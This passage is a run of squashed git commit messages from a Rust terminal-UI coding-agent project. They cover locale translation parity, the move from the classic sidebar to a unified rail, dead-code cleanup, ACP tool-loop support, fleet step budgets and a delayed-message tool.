shipped pack is partial anymore.
Also update partial_locale_badge_survives_minimum_terminal_layout (renamed
to complete_locale_shows_no_partial_badge_at_minimum_terminal_layout): it
still asserted zh-Hant renders the '(partial)' badge, which was only true
before #5143. The badge path itself is unchanged for future partial packs;
the test now asserts a complete pack shows no badge at minimum layout.
* fix(tui): finish the #5110 stale failed-agent isolation
The #5110 squash landed WIP ("Changes before error encountered") with two
self-inconsistent pieces:
- select_work_sidebar_tasks documented that a terminal task missing
ended_at is dropped, but the owner-match arm kept it anyway, so a ghost
receipt could still surface on the current session's Work sidebar.
Terminal tasks without ended_at are now dropped before the ownership
checks, matching the documented behavior and
work_sidebar_hides_other_session_terminals_but_keeps_current_and_active.
- task_list_shows_owner_session_when_present expected a 12-char + ellipsis
truncation ("session-1234…"), which would overflow the 12-wide Session
column the format strings are built to keep aligned. The formatter
truncates to 11 chars + ellipsis ("session-123…") so the value fits the
column; correct the test expectation to the alignment-preserving
behavior. No assertion was weakened: the test still pins the exact
truncated rendering.
* chore(tui): repair fmt drift
Train-side pre-existing drift in settings.rs, tools/web_search.rs, and
tui/app/tests.rs (buildkite failed on this earlier tonight). Pure
cargo fmt --all output, no semantic changes.
* chore(tui): clear unused_mut and dead_code warnings
- native_memory.rs with_read_lock: fd-lock 4's RwLock::read takes &self,
so the binding no longer needs mut (write still does).
- SubAgentToolRegistry.accept_verification was never read: since #5186 the
bounded verification surface is delegated to every shell-capable child
instead of being keyed off this bit. Drop the dead field; the
SubAgentRuntime bit it was copied from stays (it is read at spawn).
* refactor(tui): split test modules out of two thousand-line files
native_memory.rs (1091 lines) and tui/views/fleet_roster.rs (1044 lines)
crossed the 1000-line production-module ceiling in
scripts/source-structure-budget.json during the v0.9.4 train.
Move each file's #[cfg(test)] module verbatim into a Rust-2018 sibling
submodule (native_memory/tests.rs, fleet_roster/tests.rs); test files are
excluded from the budget's production-source accounting by definition. The
only non-verbatim change is the include! path in the fleet roster tests,
which now resolves one directory up. Public APIs are untouched; both files
are back under the ceiling (773 and 638 lines).
* chore(scripts): bump source-structure aggregate ceiling with dated TODO
The v0.9.4 train's 30-PR stack grew owned production Rust from 649350 to
659633 lines (+10283). Splits are line-neutral by design, so they cannot
pay this down; only deletion can, and a delete-and-dedup pass is out of
scope for a hygiene lane. Raise max_total_owned_rust_lines to the measured
659633 with a dated TODO to pay it back down in v0.9.5. Per-file ceilings
were NOT raised: the two new thousand-line modules from the stack were
split back under 1000 in the parent commit.
Update bundled integration skills to recommend the codewhale CLI, .codewhale configuration and skill roots, and the built-in PDF reader. Keep the .deepseek skill root only as an explicitly labeled legacy fallback and add a bundled-content regression test.
Adapted from https://github.com/Pinvou/CodeWhale/pull/4 by @asto18089.
Signed-off-by: hexin <372726039@qq.com>
Co-authored-by: asto18089 <44870036+asto18089@users.noreply.github.com>
The rail stack changed the default chrome: the pinned work panel owns a
four-row top strip, so PTY tests written against the pre-rail frames
failed. Rewrite them to the new contract without dropping coverage:
- work_and_permission / legacy_work_ctrl_t / real_coordination: pin
rail_panel = "tasks" so the durable To-do and coordination surfaces
under test render exactly as before (this is what exposed the
explicit-tasks migration bug fixed in the previous commit).
- real_tool_lifecycle: rail_panel = "tasks" too — the empty Tasks
strip hides, so the idle whale keeps its full-height ocean, and the
running phase keeps its To-do strip assertions.
- assert_empty_state_hierarchy: the always-on strip owns four rows, so
the big BlueWhale is earned at 28+ rows (was 24); the 24-row case now
legitimately sheds the whale.
The migration used rail_panel == "tasks" as the not-configured
sentinel, but "tasks" is also the default value, so an explicit
rail_panel = "tasks" in settings.toml was always overwritten by the
auto→pinned fold. Track document explicitness at load (mirroring
auto_compact_explicit) and skip the fold when the user named the key;
the /config setter marks the choice explicit too.
The v0.9.4 train's 30-PR stack grew owned production Rust from 649350 to
659633 lines (+10283). Splits are line-neutral by design, so they cannot
pay this down; only deletion can, and a delete-and-dedup pass is out of
scope for a hygiene lane. Raise max_total_owned_rust_lines to the measured
659633 with a dated TODO to pay it back down in v0.9.5. Per-file ceilings
were NOT raised: the two new thousand-line modules from the stack were
split back under 1000 in the parent commit.
native_memory.rs (1091 lines) and tui/views/fleet_roster.rs (1044 lines)
crossed the 1000-line production-module ceiling in
scripts/source-structure-budget.json during the v0.9.4 train.
Move each file's #[cfg(test)] module verbatim into a Rust-2018 sibling
submodule (native_memory/tests.rs, fleet_roster/tests.rs); test files are
excluded from the budget's production-source accounting by definition. The
only non-verbatim change is the include! path in the fleet roster tests,
which now resolves one directory up. Public APIs are untouched; both files
are back under the ceiling (773 and 638 lines).
- native_memory.rs with_read_lock: fd-lock 4's RwLock::read takes &self,
so the binding no longer needs mut (write still does).
- SubAgentToolRegistry.accept_verification was never read: since #5186 the
bounded verification surface is delegated to every shell-capable child
instead of being keyed off this bit. Drop the dead field; the
SubAgentRuntime bit it was copied from stays (it is read at spawn).
Train-side pre-existing drift in settings.rs, tools/web_search.rs, and
tui/app/tests.rs (buildkite failed on this earlier tonight). Pure
cargo fmt --all output, no semantic changes.
The #5110 squash landed WIP ("Changes before error encountered") with two
self-inconsistent pieces:
- select_work_sidebar_tasks documented that a terminal task missing
ended_at is dropped, but the owner-match arm kept it anyway, so a ghost
receipt could still surface on the current session's Work sidebar.
Terminal tasks without ended_at are now dropped before the ownership
checks, matching the documented behavior and
work_sidebar_hides_other_session_terminals_but_keeps_current_and_active.
- task_list_shows_owner_session_when_present expected a 12-char + ellipsis
truncation ("session-1234…"), which would overflow the 12-wide Session
column the format strings are built to keep aligned. The formatter
truncates to 11 chars + ellipsis ("session-123…") so the value fits the
column; correct the test expectation to the alignment-preserving
behavior. No assertion was weakened: the test still pins the exact
truncated rendering.
The /automation surface plus a few keybinding/advisor strings landed on the
train after b02a05b5a promoted zh-Hant to a complete pack, leaving it 47
keys short of en.json (1252 vs 1299) and breaking three parity tests
(shipped_complete_packs_have_raw_key_parity_with_english,
automation_complete_packs_have_raw_key_and_placeholder_parity,
zh_hant_has_reached_en_parity_and_is_complete).
Translate the 47 missing keys into Traditional Chinese per
crates/tui/locales/AGENTS.md: placeholders stay literal, commands and key
names untranslated, product terms English. Parity claim now holds, so no
shipped pack is partial anymore.
Also update partial_locale_badge_survives_minimum_terminal_layout (renamed
to complete_locale_shows_no_partial_badge_at_minimum_terminal_layout): it
still asserted zh-Hant renders the '(partial)' badge, which was only true
before #5143. The badge path itself is unchanged for future partial packs;
the test now asserts a complete pack shows no badge at minimum layout.
- sidebar.rs: drop two #5141 tests asserting SidebarFocus::Sessions
behavior — the enum and the classic shell it drove are deleted by the
rail stack, so the tests assert a control that no longer exists.
- settings.rs: migrate sidebar_focus=sessions (the #5141 pin) forward to
the first-class sessions rail (sessions_rail = true) instead of
silently dropping the intent.
(An earlier pass also patched six steer_user_message /
attempt_steer_with_queue_fallback test call sites for the config arg the
stop-word commit added; the train's #5224 landed the same fixes, so
those hunks were dropped on re-rebase.)
BTreeMap/Config were only referenced by the classic render path removed
earlier in the stack. (An earlier pass of this commit also repaired three
train-tip build breaks — cancel_token in the parallel batch path,
owner_session_id in automation enqueue, stop_words in merge_config — but
the train's own #5224 landed byte-identical fixes, so those hunks were
dropped on re-rebase.)
Rail-unification debris. The hotbar panel rendered only inside the
classic sidebar (its renderer went in 1e56fa9f0); every line builder
was test-only and flagged dead: hotbar_panel_enabled/slots/lines/
hover_texts/row_actions, resolved_hotbar_bindings,
hotbar_configured_label, hotbar_slot_cell_text/style, HotbarSlotState,
HotbarPanelSlot, and the HOTBAR_PANEL_HEIGHT/ROW_COLUMNS constants, plus
their five tests. The hotbar itself (Alt+digit shortcuts,
hotbar_slot_from_key, config bindings) is untouched.
Gates: cargo fmt --check -p codewhale-tui clean;
cargo test -p codewhale-tui --bin codewhale-tui sidebar -> 124 passed, 0 failed.
Rail-unification debris (checklist section 2A follow-up). HeaderData and
HeaderWidget rendered only the classic header removed in 739616787; the
re-export's targeted #[allow] goes with them. What remains in
widgets/header.rs is header_status_indicator_frame (live in the
underwater header) with its dot-frame constants, plus the six frame and
glyph-fallback tests that cover live behavior — the twenty widget
rendering tests are removed with their subject.
Gates: cargo fmt --check -p codewhale-tui clean;
cargo test -p codewhale-tui --bin codewhale-tui header -> 106 passed, 0 failed.
Spec step 4 (part 2) of rail-unification-task-20260802 (checklist
section 2A). The type and every field it hung off of are gone; nothing
in the tree can mutate or gate on a panel system that no longer exists.
- app.rs: SidebarFocus the enum, its from_setting/as_setting impls,
App.sidebar_focus, App.sidebar_width_percent, set_sidebar_focus, and
the whole classic interaction block (sidebar_resizing/_hovered,
resize anchors, last_sidebar_area/_host_width/_handle_area,
sidebar_resize_total_width), plus ViewportState.last_sidebar_area.
- app/init.rs: the settings reads and field initializers for all of the
above.
- subagent_routing: agents_sidebar_surface_visible now means what it
says in the rail world (panel == Agents && last_area);
agents_panel_has_content (auto-mode remnant) deleted.
- sidebar.rs: the five explicit_tasks_focus gates re-point at
work_surface.panel == RailPanel::Tasks; orphaned ratatui/theme imports
dropped.
- mouse_ui.rs: approval wheel ownership and the context-menu on_sidebar
gate re-point at work_surface.last_area (rail rows keep their
right-click Run/Copy menu via the shared hover sections);
sidebar_click_action was already section-driven and is untouched; the
scroll-leak consume block for the never-Some legacy rect is deleted.
- settings.rs: sidebar_width_percent and sidebar_focus become load-only
migration shims (#[serde(skip_serializing)] — read by
migrate_sidebar_settings_to_rail, never written back);
update_sidebar_width deleted.
- ui.rs: the per-frame reset of the deleted fields is gone (the live
sidebar_hover_tooltip clear stays).
Tests: sidebar.rs setups (~30) and ui/app tests re-point at
work_surface.panel/placement/last_area; entering_operate_preserves_
user_rail_panel replaces the sidebar_focus variant; the approval-wheel
test drops the legacy rect (rail ownership covered by the work_surface
arm); the two loading-hover tests keep their assertions against the
generic tooltip-clear path; context-menu tests drive the rail's
work_surface.last_area; sidebar_focus from_setting coverage lives on in
the settings migration tests.
Gates: cargo fmt --check -p codewhale-tui clean;
sidebar: 129 passed; mouse: 70; hotbar: 92; footer: 104; settings: 121;
commands: 760; work_surface: 64 — all 0 failed.
Follow-up to eeb9dae6b. The full suite exposed two couplings:
- App::new reads the developer's real settings.toml, so the 0.9.4
migration (sidebar_focus=pinned -> rail_panel=pinned on the dogfood
machine) silently switched every test app to the Pinned panel and 17
work_surface tests failed only in the full suite. The tests' app()
helper now pins RailPanel::Tasks explicitly (same dogfood-guard
pattern footer_ui already uses). status_animation_ticks_for_a_visible
_background_task re-points at work_surface panel/last_area to match
the 3d gate change.
- persist_sidebar_settings_if_dirty silently failed once the
sidebar_focus set case was removed (its settings.set now errors and
was discarded). The machinery was scheduled for removal in 4b; pull
it forward: fn, both call sites, sidebar_width_dirty /
sidebar_focus_dirty fields and initializers, the dirty write in
set_sidebar_focus, and the sidebar_focus_dirty_persists_saved_focus
test (subject gone; the settings migration tests cover persistence).
Gates: cargo fmt --check -p codewhale-tui clean;
work_surface: 64 passed, 0 failed; status_animation: 5 passed, 0 failed.
Full suite before this fix: 21 failures (17 dogfood + 3 machinery +
1 pre-existing pair); after: verified below.
Spec step 4 (part 1) of rail-unification-task-20260802 (checklist
section 2A). Existing settings.toml files load clean and carry intent
forward; the dead keys lose every control surface.
- migrate_sidebar_settings_to_rail runs on every load: sidebar_focus
pinned/tasks/agents/context map onto the same-named rail panels,
auto folds into the always-on pinned work panel (auto-collapse is
deliberately dropped), hidden becomes work_surface_placement=off
(unless the file pins a non-default placement), and
sidebar_width_percent maps onto the absolute side width at a
120-column reference (26-80 clamp). Explicit rail_panel /
work_surface_placement keys win over migrated values.
- sidebar_auto_collapse_opt_in is dropped explicitly: field, default,
the #3328 load-time auto->pinned rewrite (subsumed by the new
migration), and its serialization marker test.
- Controls removed: /config set cases for sidebar_width|sidebar_focus
(now unknown-key errors), the /config show arms, the
available_settings listing, the config-info display lines, the
config-view rows + labels + hints + choices, and the web config
session's SidebarFocusValue mirror (config_ui.rs). /config
work_surface_placement and /config rail_panel are the live keys.
Tests: settings.rs sidebar_focus set-parsing and auto opt-in tests
replaced by legacy_sidebar_focus_migrates_to_rail_panel_and_placement
and legacy_sidebar_width_maps_to_side_columns_and_new_keys_win; the two
load tests rewritten to rail outcomes (auto -> rail pinned, hidden ->
placement off); views Sidebar-section row lists drop the dead keys;
the route-lock test pins rail_panel as a non-route key.
SidebarFocus the type, App.sidebar_focus{,_dirty}, set_sidebar_focus,
persist_sidebar_settings_if_dirty, and the old struct fields
(sidebar_width_percent, sidebar_focus — still serialized) remain for
step 4b, which removes them with the init wiring.
Gates: cargo fmt --check -p codewhale-tui clean;
settings: 121 passed; commands: 760; views: 187; config_ui: 16 — all 0 failed.
Spec step 3 (part 4) of rail-unification-task-20260802 (checklist
section 2A). Everything that gated behavior on the unrenderable classic
sidebar is deleted or re-pointed at the rail.
Re-pointed at the rail:
- y/Y turn-id clipboard and Ctrl+X /jobs cancel-all prefill now gate on
the rail's Tasks panel actually rendering (panel == Tasks && last_area).
- visible_background_task_has_live_motion likewise.
- Hotbar sidebar.toggle now toggles rail placement off/top and reports
it; is_active reflects placement != Off.
- should_render_empty_state checks live work directly (todo snapshot,
goal quarry) instead of the deleted compact_work_indicator.
Deleted (subjects gone):
- Mouse drag-resize of the classic sidebar handle (handle_sidebar_resize_mouse
+ dispatch); the rail's own divider drag (work_surface/input.rs) is the
resize surface for all three placements.
- Footer compact work chip (footer_compact_work_chip + FooterProps.work):
it existed only to cover a width-suppressed sidebar; the rail already
shows the work itself.
- sidebar.rs: sidebar_width_for_chat_area, sidebar_auto_idle,
auto_sidebar_state, AutoSidebarState/Panel, auto_sidebar_panels,
compact_work_indicator, SidebarWorkSummary::compact_indicator.
Auto-collapse is deliberately dropped (placement off covers hiding).
Tests: the legacy resize-handle tests (7), the sidebar width-fn tests
(3), the auto-idle tests (4), the footer chip test, and sidebar.rs's
auto-mode tests (5) are removed with their subjects — rail-side
equivalents already exist (work_surface resize/placement tests, rail
command tests). hotbar sidebar_toggle and ctrl_x_jobs_prefill tests
rewritten to the rail gating.
SidebarFocus the type, App.sidebar_focus, set_sidebar_focus, and the
/config sidebar_width|sidebar_focus arms remain for the next commit
(step 4), which removes them together with the settings migration and
the config_ui/views rows that consume the same keys.
Gates: cargo fmt --check -p codewhale-tui clean;
sidebar: 133 passed; mouse: 70; footer: 104; hotbar: 92; resize: 8 — all 0 failed.
Spec step 3 (part 3) of rail-unification-task-20260802 (checklist
section 2A).
Alt+1/! selects Tasks, Alt+2/@ Agents, Alt+3/# Context, Alt+4 and
Alt+$/% Pinned — all via a shared rail_panel_shortcut helper that sets
work_surface.panel and reports "Rail panel: <name>", appending
"(rail is off — /rail top to show)" when the rail cannot render, so no
key ever silently mutates invisible state. Ctrl+Alt+0 toggles the rail
off and back to top. The Alt+) auto binding is gone and plain Alt+0 is
unbound: auto-collapse was deliberately dropped with the classic
sidebar (placement off covers hiding).
Panel changes via shortcuts are session-only; persistence goes through
/rail <panel> --save (rail_panel). The sidebar_focus_dirty persistence
machinery still standing is removed with SidebarFocus in the next
commit.
Tests rewritten to the new contract (ui/tests.rs):
ctrl_alt_4_selects_pinned_rail_panel_without_switching_modes,
alt_0_without_ctrl_is_unbound_after_auto_mode_retired,
ctrl_alt_0_turns_rail_off, ctrl_alt_0_restores_top_rail_when_already_off.
Gates: cargo fmt --check -p codewhale-tui clean;
cargo test -p codewhale-tui --bin codewhale-tui alt_ -> 25 passed, 0 failed.
Spec step 3 (part 2) of rail-unification-task-20260802 (checklist
section 2A). The rail now has a real command; /sidebar stays as the
alias users know, and the status readout reports what actually renders.
- /rail top|left|right|off sets placement; /rail tasks|agents|context|
pinned picks the panel (orthogonal). Legacy words keep working:
on/show -> top, off/hide/none -> off, activity -> tasks, work -> pinned.
--save persists through the settings path. /rail auto is rejected:
auto-collapse was deliberately dropped with the classic sidebar (the
rail hides via placement off instead).
- rail_status_message replaces sidebar_status_message: it reads
work_surface placement/panel/effective_placement/last_area, names the
narrow-terminal top fallback, and says "Rail is off — no panel
renders" rather than the old "Sidebar is visible" lie.
sidebar_render_state/SidebarRenderState/sidebar_host_width_hint are
deleted from ui.rs with it.
- New rail_panel settings key (tasks/agents/context/pinned, default
tasks) with normalization, /config set+show+list support, config-view
row with choices and descriptions, and app-init wiring;
work_surface_placement now accepts off everywhere (set validation,
normalize, config-view choices/hints).
- Command registered as "rail" with aliases ["sidebar"]; discovery
tier list updated to the canonical name. CmdSidebarDescription and
KbFocusSidebar strings updated in 14 locale files (zh-Hant lacks the
keys and falls back).
Test sites rewritten (old contract -> new contract):
- commands/mod.rs: registry assertion (rail + sidebar alias, rail
description) and the three execute_sidebar_* tests ->
execute_rail_sets_placement_and_reports_actual_state,
execute_rail_accepts_panel_targets_and_legacy_words,
execute_rail_rejects_invalid_args.
- config.rs tests: four sidebar_config_command_* ->
rail_command_on_restores_default_top_placement,
rail_command_reports_narrow_terminal_top_fallback,
rail_command_off_never_claims_visibility,
rail_command_rejects_retired_auto_mode.
- ui/tests.rs: the three sidebar_render_state tests ->
rail_command_reports_off_without_claiming_visibility.
- settings.rs: work_surface_placement test now covers off; new
rail_panel round-trip test. views/mod.rs: Sidebar-section row lists
include rail_panel.
Gates:
- cargo fmt --check -p codewhale-tui: clean
- cargo test ... commands: 760 passed, 0 failed
- cargo test ... settings: 122 passed, 0 failed
- cargo test ... views: 187 passed, 0 failed
- cargo test ... rail: 63 passed, 0 failed; locale: 52 passed
Part of spec step 3 of rail-unification-task-20260802 (checklist
section 2A), split out as its own verified piece: the rail's fourth
placement.
WorkSurfacePlacement::Off parses from "off", persists as "off", and
suppresses the rail entirely — height() returns 0, split_chat() reserves
no side area, render() is never handed an area, and interaction state
(last_area, hitboxes) is cleared so no hover/click targets linger. The
existing drag-resize and divider matches gain explicit Off arms; the
rail's drag-resize already covers all three visible placements (height
for top, width for left/right in work_surface/input.rs), which satisfies
the spec's resize requirement without the legacy sidebar handler.
Gate: cargo fmt --check -p codewhale-tui clean;
cargo test -p codewhale-tui --bin codewhale-tui work_surface -> 64 passed, 0 failed
(includes new off_placement_reserves_no_rail_in_any_panel).
Spec step 2 of rail-unification-task-20260802 (checklist section 2A).
The molt moved Tasks/To-do/workers into the work surface but stranded the
legacy sidebar's Agents, Context, and Pinned panels. Panel selection is
now orthogonal to placement: the rail picks *where* it sits and *what* it
shows.
- work_surface::model: new RailPanel enum (Tasks/Agents/Context/Pinned)
with parse/as_setting/title, and a `panel` field on WorkSurfaceState
(defaults to Tasks, so existing behavior is unchanged).
- work_surface::panels (new): line builders for the three ported panels.
Agents reuses the exact summary projection from the deleted
render_sidebar_subagents; Pinned renders the durable work summary; the
Context panel body was converted from a Frame renderer into a reusable
context_panel_lines builder.
- work_surface::render: non-Tasks panels render as a titled line list in
the same body area, divider, and scrollbar the Tasks list uses, in all
three placements; a selected panel always reserves its rail (empty
content collapses to a hint, not a vanished rail). Row interactivity
(hitboxes, selection, click actions) stays Tasks-only for now.
- sidebar.rs: deleted the orphaned Frame renderers (render_hotbar_panel,
render_sidebar_work{,_compact}, render_sidebar_tasks,
render_sidebar_subagents, render_sidebar_section); the line builders
they wrapped are now pub(crate) for the rail, which is their only
production caller. sidebar.rs itself still physically hosts those
builders (and the sidebar_focus control surface) pending the step-3/4
cutover commits; render-level production callers of it are gone.
Render-level smoke coverage deleted in 739616787 is reinstated against
the rail: rail_panels_render_in_all_placements renders Agents/Context/
Pinned in Top/Left/Right via TestBackend and asserts the panel title;
context_panel_renders_session_facts_in_side_rail asserts real panel
content (lsp row) in a side rail.
Gates:
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui work_surface: 63 passed, 0 failed
- cargo test -p codewhale-tui --bin codewhale-tui sidebar: 168 passed, 0 failed
Spec step 1 of rail-unification-task-20260802 (checklist section 2A).
normalize_ocean_treatment (settings.rs) has forced every persisted value to
ombre/flat since fd68e7f24, so OceanTreatment::Classic was unreachable in
every shipped build while its render path stayed in the tree. Delete it:
- OceanTreatment: drop the Classic variant and is_classic(); parse keeps a
migration shim mapping legacy "classic" settings to ombre.
- work_surface::{height, split_chat}: drop the classic_shell parameter
(classic always resolved to Top); effective_placement now keys off host
width only.
- ui.rs render(): remove every classic branch — classic header/footer
selection, the sidebar_area split, the render_sidebar call and drag
handle, and the classic-only toast stack overlay. Sidebar interaction
state is now cleared unconditionally each frame.
- sidebar.rs: remove the render_sidebar entry point. The panel-rendering
helpers (work/tasks/agents/context/hotbar section builders) stay in
place pending their move into work_surface/ in the step-2 commit.
- widgets/mod.rs: transcript bottom-anchoring and the composer top-right
chrome (session title / receipts / vim mode) were classic-only; removed
with the shell. Composer tests rewritten to assert the chrome is gone;
ocean tests rewritten to assert the classic->ombre migration shim.
- ambient life: supports_ambient_life() is gone (every remaining
treatment keeps life); call sites no longer gate on it.
Test coverage notes: eight sidebar tests exercised the deleted
render_sidebar entry point directly and one ui test exercised the deleted
classic-header spinner; removed with their subject. Equivalent behavior
coverage survives (motion policy via should_tick_status_animation tests,
panel line-builders via their own unit tests) and render-level smoke
coverage must be reinstated against the work_surface rail panels in the
step-2 commit. classic_header_indicator_started_at coverage is redundant
with the surviving motion-policy tests.
Deferred to the next commit (steps 2-4, deliberately not claimed here):
HeaderData/HeaderWidget in widgets/header.rs (re-export kept under a
targeted #[allow] with a note), the orphaned render_sidebar_* helpers,
the /sidebar command surface, Alt-key rebinding, and settings migration.
The /sidebar command and friends still mutate now-unrenderable state;
they are repointed at the rail in the cutover follow-up.
Gates:
- cargo fmt --check -p codewhale-tui: clean
- rg 'classic_shell|is_classic|OceanTreatment::Classic' crates/: no matches
- cargo test -p codewhale-tui --bin codewhale-tui sidebar: 168 passed, 0 failed
- work_surface: 61 passed; ocean: 26 passed; composer: 112 passed; header: 126 passed
- cargo test -p codewhale-config: 476+1 passed
- full bin suite: 9580 passed / 2 failed (both pre-existing
config::credential_scope_tests::*, matching the documented baseline)
The constant's comment still described a 20-column sidebar plus 40-column
transcript, but the classic-shell sidebar can no longer render
(normalize_ocean_treatment forces ombre/flat). Its live effect today is
gating whether the file-tree pane renders (ui.rs chat-host split). Rename
it and give it a comment describing what it actually does so nobody later
"fixes" it against a sidebar that no longer exists. Value stays 60 so
narrow-terminal degradation is unchanged.
Spec step 5 of rail-unification-task-20260802 (checklist section 2A).
Remaining sidebar-internal references take the new name only until the
classic path is deleted in the cutover commit.
Gate: cargo fmt --check -p codewhale-tui clean;
cargo test -p codewhale-tui --bin codewhale-tui sidebar -> 176 passed, 0 failed.
* fix(tui): complete stale call sites left at the train tip
The v0.9.4 train tip (145472341, [WIP] #5110) does not compile: the
owner_session_id, cancel_token, stop_words, and steer-config changes
landed without updating every call site. Fill in the missing
NewTaskRequest.owner_session_id, the parallel-batch cancel_token, the
merge_config stop_words field, and the &Config argument in the six
steer test call sites so the crate builds and the gates can run.
* feat(tui): workflow status chip in the ocean header (#5040)
The train wired WorkflowPanel::top_bar_chip into the classic header
only, so a collapsed workflow run was invisible on ocean-shell
sessions. Render the same chip in the ocean top bar, following the
goal chip's pattern (#5222): the route label yields width first, the
chip truncates cleanly without mid-word clipping, drops entirely when
even a minimal chip cannot fit, and renders nothing when no workflow
is active. Salvages the width-budgeting idea from the superseded
#5113 review while reusing the train's top_bar_chip machinery.
The train wired WorkflowPanel::top_bar_chip into the classic header
only, so a collapsed workflow run was invisible on ocean-shell
sessions. Render the same chip in the ocean top bar, following the
goal chip's pattern (#5222): the route label yields width first, the
chip truncates cleanly without mid-word clipping, drops entirely when
even a minimal chip cannot fit, and renders nothing when no workflow
is active. Salvages the width-budgeting idea from the superseded
#5113 review while reusing the train's top_bar_chip machinery.
The v0.9.4 train tip (145472341, [WIP] #5110) does not compile: the
owner_session_id, cancel_token, stop_words, and steer-config changes
landed without updating every call site. Fill in the missing
NewTaskRequest.owner_session_id, the parallel-batch cancel_token, the
merge_config stop_words field, and the &Config argument in the six
steer test call sites so the crate builds and the gates can run.
The ACP session/prompt path only streamed text; it never executed the
tool calls a model requested, so editors driving CodeWhale over ACP
(Zed, and third-party bridges like acp-deepseek-adapter) got a
chat-only agent with no real code-editing capability. This wires the
existing ToolRegistry into the ACP turn loop instead of duplicating a
new one:
- run_agentic_prompt_turn drives multi-round tool_use/tool_result
turns (capped at MAX_ACP_TOOL_ROUNDS) over the same file/search/git/
patch/shell tools the TUI uses, and reuses response_id_policy so
every tool-round response still gets the client-specific id
translation (Zed/avante.nvim) the existing streaming path relies on.
- Shell access is gated on the client declaring `terminal` support at
`initialize` (default false/restrictive); MAX_ACP_SESSIONS caps
concurrent sessions with true insertion-order eviction (VecDeque,
not HashMap iteration order).
- Tool-call cancellation signals a CancellationToken and waits for the
running tool (including a child shell process) to actually stop
before returning, rather than abandoning it.
- max_tokens for the ACP path now resolves through the same
route-limits machinery the TUI/CLI use (effective_max_output_tokens_for_route)
instead of a fixed 4096 fallback.
- scripts/build.ps1: release build script for Windows PowerShell 5.1,
used to produce the ACP binary tested against Zed on Windows.
34 unit tests cover the turn loop, tool execution against a real
workspace, cancellation mid-tool, and concurrent sessions with
independent registries, all against in-memory streams (no live
provider needed).
Drafted with agent assistance (Claude Code); build-verified and
reviewed by the human author before submission.
* Initial plan
* feat(i18n): promote zh-Hant to full shipped locale with complete en parity
Expand zh-Hant.json from 502 keys to 1252 keys (full parity with en.json).
All 750 missing translations generated from zh-Hans using Traditional
Chinese vocabulary and character mappings.
Promote zh-Hant from partial pack to shipped-complete locale:
- Add ZhHant to shipped_complete() list
- Change is_partial_pack() to return false unconditionally
- Replace zh_hant_is_scoped_as_partial_pack test with
zh_hant_has_reached_en_parity_and_is_complete
- Update partial_pack_status_tracks_the_shipped_locale_registry test
All 30 localization tests pass. cargo fmt --all -- --check passes.
Refs #790
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* feat: add SidebarFocus::Sessions variant for dedicated sessions sidebar panel (#2934)
Add a `Sessions` variant to `SidebarFocus` so users can pin the sidebar to
the sessions history panel (the persistent rail) directly, without needing
the `sessions_rail` opt-in setting.
Changes:
- `tui/src/tui/app.rs`: Add `SidebarFocus::Sessions` variant; update
`from_setting` (aliases: sessions, sessions_rail, session_history) and
`as_setting` (persists as "sessions")
- `tui/src/tui/sidebar.rs`: Route `SidebarFocus::Sessions` to
`render_sidebar_sessions` in both the fixed-focus and full-panel
code paths; add two new tests
- `tui/src/tui/ui.rs`: Add keybindings — Alt+Ctrl+5 and Alt+^ (Shift+6)
— for the Sessions panel, following the existing Alt+1–4 and Alt+!#$%
pattern
- `tui/src/commands/groups/config/config.rs`: Extend `/sidebar` command
to accept `sessions`, `session_history`, and `sessions_rail` values
- `tui/src/settings.rs`: Update `normalize_sidebar_focus` and the
`sidebar_focus` setter to accept and persist `sessions`; add test
- `tui/src/config_ui.rs`: Add `Sessions` variant to `SidebarFocusValue`,
its `as_setting` impl, and the `From<&str>` conversion
- `tui/src/tui/app/tests.rs`: Extend existing `SidebarFocus` round-trip
test with `Sessions` cases
The `SidebarFocus::Sessions` panel renders the workspace-scoped sessions
rail as the sole sidebar content (plus a compact Work strip when active
work is present), regardless of whether the `sessions_rail` setting is
enabled. `sidebar_auto_idle` already returns false for every explicit
focus, so the sessions panel is never collapsed away when idle.
All 178 sidebar tests, 42 sessions tests, and the 7 sidebar_focus tests
pass.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* feat: fleet memory hardening follow-up (#3885)
Four items from the fleet memory hardening follow-up:
Item 2 — Bounded Fleet/sub-agent default step budgets:
- Add FLEET_DEFAULT_MAX_TURNS = 500 constant to codewhale-config
- Change default_fleet_max_turns() from u32::MAX to 500 so sessions
have a finite step budget out of the box
- Change fleet_task_to_worker_spec_with_profiles to default max_steps
to WorkerRuntimeProfile::default_max_steps(role) when no budget is set,
instead of u32::MAX
- Remove u32::MAX special-case from apply_exec_hardening and
build_worker_exec_command_from_prompt (0 = no cap; any positive value = bounded)
- Update unbounded_max_turns_is_not_passed test → two tests: one for 0 (no cap)
and one verifying the new finite default IS forwarded to the subprocess
Item 1 — Handle eviction when agent records are retired:
- Add HandleStore::evict_session() to remove all handles for a session_id
- Add SubAgentManager::pending_handle_evictions queue populated by cleanup()
when an agent is fully retired (absent from both agents and worker_records)
- Add SubAgentManager::drain_pending_handle_evictions() to drain the queue
- Wire async eviction in inspect_agent_from_input (both the single-agent
and list paths) after the manager write-lock is released
Item 3 — Memory telemetry in Fleet smoke runs:
- Add rss_kb() helper reading VmRSS from /proc/self/status (Linux only)
- Wire baseline and post-run RSS logging (via eprintln) in the fleet
smoke test so memory regressions produce numbers, not user reports
Item 4 — Aggregate byte budget assertion for persisted sub-agent state:
- Add persisted_subagent_state_has_bounded_serialized_size test that
writes 10 worker records and asserts the serialized file is under
64 MiB, verifying the transitively-bounded budget holds and the
output is valid JSON
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* feat(tools): add send_later one-shot delayed continuation tool
Implements the model-callable `send_later` tool requested in issue #4190.
- `DelayedTriggerRecord` / `DelayedTriggerStatus` / `CreateDelayedTriggerRequest`
added to `automation_manager.rs`; triggers are stored under
`~/.codewhale/automations/triggers/` and survive process restart.
- `AutomationManager` gains `create_trigger`, `get_trigger`, `save_trigger`,
`list_triggers`, `cancel_trigger`, and `collect_due_triggers` methods.
- `fire_due_triggers_shared` function added; called on every scheduler tick so
pending triggers are fired without an extra background thread.
- New `crates/tui/src/tools/send_later.rs` implements `ToolSpec` for
`send_later` with actions: schedule, list, read, cancel.
- `schedule` accepts mutually-exclusive `delay_minutes` or `fire_at` (ISO 8601
UTC) plus a `message`; returns `trigger_id` + resolved `fire_at`.
